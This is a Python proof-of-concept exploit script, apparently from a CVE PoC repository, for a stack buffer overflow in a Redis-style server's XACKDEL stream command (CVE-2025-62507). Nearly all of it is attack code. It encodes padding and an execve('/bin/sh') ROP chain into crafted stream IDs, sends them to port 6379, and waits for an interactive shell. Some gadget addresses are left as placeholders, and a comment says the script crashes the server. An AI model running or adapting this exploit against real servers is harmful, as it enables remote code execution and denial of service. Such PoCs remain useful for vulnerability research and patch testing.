4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2025-62507-BO-Crash-PoC.py PY
#!/usr/bin/env python3

# Thise one crashes without GDB as well

from pwn import *

# --- Configuration ---
HOST = '127.0.0.1'
PORT = 6379
# We need to send enough IDs to overwrite the return address.
# Offset is ~136 bytes. 136 / 16 bytes per ID = 8.5. So let's send 10.
NUM_IDS_TO_SEND = 10 

# --- ROP Chain Addresses (replace with your actual addresses) ---
POP_RDI_RET = 0x5555555e58eb
BIN_SH_ADDR = 0x7ffff7a99ea4
# You still need to find these gadgets!
POP_RSI_RET = 0xdeadbeefdeadbeef # <-- FIND THIS
POP_RDX_RET = 0xdeadbeefdeadbeef # <-- FIND THIS
POP_RAX_RET = 0xdeadbeefdeadbeef # <-- FIND THIS
SYSCALL_RET = 0x7ffff7981ef2

# --- Main Exploit Logic ---
def trigger_overflow():
    r = remote(HOST, PORT)

    log.info("Setting up stream and consumer group...")
    # Using 'FLUSHALL' to ensure a clean state for each run
    r.sendline(b"FLUSHALL")
    r.recvline()
    setup_command = b"XGROUP CREATE mystream mygroup 0-0 MKSTREAM"
    r.sendline(setup_command)
    log.success(f"Setup response: {r.recvline().strip().decode()}")

    # 1. Build the ROP chain
    rop_chain = [
        POP_RDI_RET,    # Gadget to control RDI
        BIN_SH_ADDR,    # Address of "/bin/sh" string
        POP_RSI_RET,    # Gadget to control RSI
        0,              # Value for RSI (NULL)
        POP_RDX_RET,    # Gadget to control RDX
        0,              # Value for RDX (NULL)
        POP_RAX_RET,    # Gadget to control RAX
        59,             # Value for RAX (execve syscall number)
        SYSCALL_RET     # Gadget to make the syscall
    ]
    rop_payload = b"".join([p64(addr) for addr in rop_chain])

    # 2. Build the final flat payload (padding + ROP chain)
    # The offset to the return address. You MUST verify this with cyclic!
    # Let's assume it is 136.
    offset_to_rip = 136
    
    # We create a full payload that will perfectly overwrite the stack
    flat_payload = cyclic(offset_to_rip) # Use a pattern for easy debugging
    flat_payload = flat_payload[:offset_to_rip] # Trim to exact length
    flat_payload += rop_payload

    # 3. Chop the flat payload into stream IDs
    payload_ids = []
    # We need to send enough IDs to deliver our whole payload
    num_ids_required = (len(flat_payload) + 15) // 16 # ceiling division
    
    for i in range(num_ids_required):
        # Get a 16-byte chunk for one full streamID
        chunk = flat_payload[i*16 : (i+1)*16]
        if len(chunk) < 16:
            chunk += b'\x00' * (16 - len(chunk)) # Pad the last chunk if needed

        # The first 8 bytes are ms, the second 8 are seq
        ms = u64(chunk[0:8])
        seq = u64(chunk[8:16])
        
        payload_id = f"{ms}-{seq}".encode()
        payload_ids.append(payload_id)

    # Build and send the command
    command_parts = [
        b"XACKDEL", b"mystream", b"mygroup", b"IDS",
        str(len(payload_ids)).encode()
    ] + payload_ids
    payload_command = b" ".join(command_parts)
    
    log.info("Sending precisely crafted overflow payload...")
    r.sendline(payload_command)
    
    log.success("Payload sent! Waiting for shell...")
    
    # Keep the connection open and make it interactive to get the shell
    r.interactive()

if __name__ == "__main__":
    trigger_overflow()